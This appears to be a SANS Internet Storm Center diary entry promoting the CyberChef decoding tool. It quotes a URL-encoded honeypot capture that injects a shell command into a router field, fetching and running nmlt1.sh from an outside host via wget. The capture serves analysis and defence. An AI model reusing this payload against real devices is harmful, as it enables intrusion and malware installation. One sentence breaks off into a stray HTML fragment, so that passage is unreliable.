This multipurpose and feature rich tool has been available for a while now and is updated regularly. What I find the most interesting is the number of features that are available this tool.

CyberChef is fully portable and can be downloaded locally as an simple HTML self-contained page that can run in any browsers or if you prefer, you can download the package from Github and compile it yourself[2] but why bother. Since the code is updated regularly, I find the first option more practical. It contains a large number of Operations such as Encoding/Decoding, Logical Operations, Extractors and Hashing to name a few. Note, each one of these Operations expand into a large subset of tools. Here is the complete list of Operations:

For example, take this Web Hex encode data stream that I captured today in my Honeypot:

submit_button=change_action=action=commit=ttcp_num=2ttcp_size=2ttcp_ip=-h `%63%64%20%2F%74%6D%70%3B%72%6D%20%2D%66%20%6E%6D%6C%74%31%2E%73%68%3B%77%67%65%74%20%2D%4F%20%6E%6D%6C%74%31%2E%73%68%20%68%74%74%70%3A%2F%2F%64%6F%6D%73%74%61%74%65%73%2E%73%75%2F%6E%6D%6C%74%31%2E%73%68%3B%63%68%6D%6F%64%20%2B%78%20%6E%6D%6C%74%31%2E%73%68%3B%2E%2F%6E%6D%6C%74%31%2E%73%68`StartEPI=1

First, take copy the data from %63%64[...]%73%68 and do a search and replace to remove the percent (%) from the data because CyberChef doesn width:979px" />

If you have been looking for a multipurpose tool, this is the one. Give it a try!

[1] https://gchq.github.io/CyberChef/
[2] https://github.com/gchq/CyberChef
[3] https://encoder.secapps.com/

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Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 
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